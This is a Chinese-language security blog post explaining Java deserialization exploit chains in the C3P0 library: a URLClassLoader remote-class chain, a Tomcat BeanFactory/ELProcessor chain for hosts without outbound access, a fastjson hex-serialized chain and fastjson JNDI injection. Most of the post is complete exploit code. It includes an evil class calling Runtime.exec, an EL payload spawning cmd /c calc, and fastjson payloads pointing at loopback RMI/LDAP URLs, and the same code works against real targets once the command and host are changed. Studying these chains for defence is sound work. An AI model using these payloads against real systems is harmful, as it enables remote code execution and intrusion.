C3P0
C3P0是JDBC的一个连接池组件,它实现了数据源和JNDI绑定, 使用它的开源项目有Hibernate、Spring等。
在执行JDBC的增删改查的操作时,如果每一次操作都来一次打开连接,操作,关闭连接,那么创建和销毁JDBC连接的开销就太大了。为了避免频繁地创建和销毁JDBC连接,我们可以通过连接池(Connection Pool)复用已经创建好的连接
用于缓存和重用PreparedStatements支持。c3p0具有自动回收空闲连接功能。
依赖
1 2 3 4 5
| <dependency> <groupId>com.mchange</groupId> <artifactId>c3p0</artifactId> <version>0.9.5.2</version> </dependency>
|
URLClassLoader
也被称为http base链
在PoolBackedDataSourceBase类的writeObject方法中有如下内容
该方法会尝试将当前对象的connectionPoolDataSource属性进行序列化,如果不能序列化便会在catch块中对connectionPoolDataSource属性用ReferenceIndirector.indirectForm方法处理后再进行序列化操作
这个类是不能反序列化的,所以会进入catch模块
我们唯一可控的就是Reference
然后看PoolBackedDataSourceBase类的readObject方法
跟进getObject方法
看见了lookup方法!但是没办法利用,因为contextName为null
跟进referenceToObject方法
var0是我们可控的,利用URLClassLoader
来加载恶意类了
所以payload如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48
| package c3p0;
import com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase; import javax.naming.NamingException; import javax.naming.Reference; import javax.naming.Referenceable; import javax.sql.ConnectionPoolDataSource; import javax.sql.PooledConnection; import java.io.*; import java.lang.reflect.Field; import java.sql.SQLException; import java.sql.SQLFeatureNotSupportedException; import java.util.logging.Logger;
public class C3P0 {
public static void main(String[] args) throws Exception{ PoolBackedDataSourceBase a = new PoolBackedDataSourceBase(false); Class clazz = Class.forName("com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase"); Field f1 = clazz.getDeclaredField("connectionPoolDataSource"); f1.setAccessible(true); f1.set(a,new evil());
ObjectOutputStream ser = new ObjectOutputStream(new FileOutputStream(new File("a.bin"))); ser.writeObject(a); ser.close(); ObjectInputStream unser = new ObjectInputStream(new FileInputStream("a.bin")); unser.readObject(); unser.close(); }
public static class evil implements ConnectionPoolDataSource, Referenceable { public PrintWriter getLogWriter () throws SQLException {return null;} public void setLogWriter ( PrintWriter out ) throws SQLException {} public void setLoginTimeout ( int seconds ) throws SQLException {} public int getLoginTimeout () throws SQLException {return 0;} public Logger getParentLogger () throws SQLFeatureNotSupportedException {return null;} public PooledConnection getPooledConnection () throws SQLException {return null;} public PooledConnection getPooledConnection ( String user, String password ) throws SQLException {return null;}
@Override public Reference getReference() throws NamingException { return new Reference("c3p0.evilexp","c3p0.evilexp","http://127.0.0.1:1099/"); } }
}
|
1 2 3 4 5 6 7
| package c3p0;
public class evilexp { public evilexp() throws Exception{ Runtime.getRuntime().exec("calc"); } }
|
BeanFactory
如果环境不出网的话,就无法加载远程class,但是观察源代码
如果fClassLocation
为null的话就是当前线程的ClassLoader而不是远程加载(这意味着能够实例化WEB目录下的任意类),加载到对象之后会调用getObjectInstance
这个方法
原理可以看:https://paper.seebug.org/942/#classreference-factory
会通过反射的方式实例化Reference所指向的任意Bean Class,并且会调用setter方法为所有的属性赋值。而该Bean Class的类名、属性、属性值,全都来自于Reference对象,均是攻击者可控的。
这里还要求传入的Reference为ResourceRef类
目标Bean Class必须有一个无参构造方法,有public的setter方法且参数为一个String类型。事实上,这些setter不一定需要是set..开头的方法,根据org.apache.naming.factory.BeanFactory中的逻辑,我们可以把某个方法强制指定为setter
javax.el.ELProcessor就可以,或者
- JDK或者常用库的类
- 有public修饰的无参构造方法
- public修饰的只有一个String.class类型参数的方法,且该方法可以造成漏洞
BeanFactory
类会把Reference
对象的className
属性作为类名去调用无参构造方法实例化一个对象,然后在这里得到了forcestring
最后达到命令执行
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92
| package c3p0;
import com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase; import org.apache.naming.ResourceRef; import javax.naming.NamingException; import javax.naming.Reference; import javax.naming.Referenceable; import javax.naming.StringRefAddr; import javax.sql.ConnectionPoolDataSource; import javax.sql.PooledConnection; import java.io.*; import java.lang.reflect.Field; import java.sql.SQLException; import java.sql.SQLFeatureNotSupportedException; import java.util.logging.Logger;
public class C3P0WithBean {
public static void main(String[] args) throws Exception{ PoolBackedDataSourceBase poolBackedDataSourceBase = new PoolBackedDataSourceBase(false); PoolSource poolSource = new PoolSource();
Field connectionPoolDataSourceField = PoolBackedDataSourceBase.class.getDeclaredField("connectionPoolDataSource"); connectionPoolDataSourceField.setAccessible(true); connectionPoolDataSourceField.set(poolBackedDataSourceBase,poolSource);
ObjectOutputStream ser = new ObjectOutputStream(new FileOutputStream(new File("b.bin"))); ser.writeObject(poolBackedDataSourceBase); ser.close(); ObjectInputStream unser = new ObjectInputStream(new FileInputStream("b.bin")); unser.readObject(); unser.close();
}
private static class PoolSource implements ConnectionPoolDataSource, Referenceable { private String classFactory; private String classFactoryLocation; public PoolSource(){ this.classFactory = "BeanFactory"; this.classFactoryLocation = null; } public PoolSource(String classFactory, String classFactoryLocation){ this.classFactory = classFactory; this.classFactoryLocation = classFactoryLocation; } @Override public Reference getReference() throws NamingException { ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true,"org.apache.naming.factory.BeanFactory",null); ref.add(new StringRefAddr("forceString", "CyanM0un=eval")); ref.add(new StringRefAddr("CyanM0un", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['cmd','/c','calc']).start()\")")); return ref; }
@Override public PooledConnection getPooledConnection() throws SQLException { return null; }
@Override public PooledConnection getPooledConnection(String user, String password) throws SQLException { return null; }
@Override public PrintWriter getLogWriter() throws SQLException { return null; }
@Override public void setLogWriter(PrintWriter out) throws SQLException {
}
@Override public void setLoginTimeout(int seconds) throws SQLException {
}
@Override public int getLoginTimeout() throws SQLException { return 0; }
@Override public Logger getParentLogger() throws SQLFeatureNotSupportedException { return null; } }
}
|
hex
fastjson和CP30的不出网利用,需要本地的另一条链如CC
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44
| package c3p0;
import com.alibaba.fastjson.JSON; import com.mchange.lang.ByteUtils; import com.mchange.v2.c3p0.WrapperConnectionPoolDataSource;
import java.io.*; import java.util.Arrays;
public class C3P0WithFast { public static void main(String[] args) throws IOException, ClassNotFoundException { InputStream in = new FileInputStream("path/calc.ser"); byte[] data = toByteArray(in); in.close(); String HexString = bytesToHexString(data, data.length); System.out.println(HexString); String poc ="{\"e\":{\"@type\":\"java.lang.Class\",\"val\":\"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\"},\"f\":{\"@type\":\"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\",\"userOverridesAsString\":\"HexAsciiSerializedMap:"+HexString+";\"}}"; JSON.parseObject(poc);
}
public static byte[] toByteArray(InputStream in) throws IOException { byte[] classBytes; classBytes = new byte[in.available()]; in.read(classBytes); in.close(); return classBytes; }
public static String bytesToHexString(byte[] bArray, int length) { StringBuffer sb = new StringBuffer(length);
for(int i = 0; i < length; ++i) { String sTemp = Integer.toHexString(255 & bArray[i]); if (sTemp.length() < 2) { sb.append(0); }
sb.append(sTemp.toUpperCase()); } return sb.toString(); }
}
|
因为FastJson会在处理过程中会调用反序列化目标类的所有 setter 和 getter 方法,在com.mchange.v2.c3p0.WrapperConnectionPoolDataSource
类的 setUpPropertyListeners处打下断点(根据名字应该是监听所有set事件的函数)
跟进
继续
在此处触发反序列化漏洞
JNDI
1 2 3 4 5 6 7 8 9 10 11 12
| package c3p0;
import com.alibaba.fastjson.JSON;
public class C3P0WithJNDI {
public static void main(String[] args) throws Exception { String poc = "{\"@type\":\"com.mchange.v2.c3p0.JndiRefForwardingDataSource\",\"jndiName\":\"ldap://127.0.0.1:1099/Evil\", \"loginTimeout\":0}"; JSON.parseObject(poc); }
}
|
会自动触发com.mchange.v2.c3p0.JndiRefForwardingDataSource
的setJndiName
,但是由于该类没有该方法就会调用其父类com.mchange.v2.c3p0.impl.JndiRefDataSourceBase
的setJndiName
。我们在该方法打下断点
完成一些设置后,调用setLogininTimeout
跟进inner内部的deference方法
达到JNDI注入
参考
https://blog.csdn.net/rfrder/article/details/123208761
https://blog.csdn.net/u013190417/article/details/124311482